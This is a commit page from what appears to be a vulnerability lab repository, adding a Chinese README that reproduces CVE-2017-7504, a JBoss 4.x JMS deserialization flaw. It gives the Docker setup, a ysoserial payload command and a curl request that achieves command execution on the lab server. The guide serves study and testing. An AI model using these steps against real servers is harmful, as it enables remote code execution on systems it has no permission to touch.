first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,36 @@
# JBoss 4.x JBossMQ JMS 反序列化漏洞CVE-2017-7504
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
参考:
- https://github.com/joaomatosf/JavaDeserH2HC
- https://www.youtube.com/watch?v=jVMr4eeJ2Po
## 漏洞环境
执行如下命令启动JBoss AS 4.0.5
```
docker compose up -d
```
环境启动后,目标为`http://your-ip:8080`
## 漏洞复现
该漏洞出现在`/jbossmq-httpil/HTTPServerILServlet`请求中我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload
```
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
```
我们将1.ser文件内容作为POST Body发送
```
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
```
![](1.png)
执行`docker compose exec jboss bash`进入容器,可见`/tmp/success`已成功创建。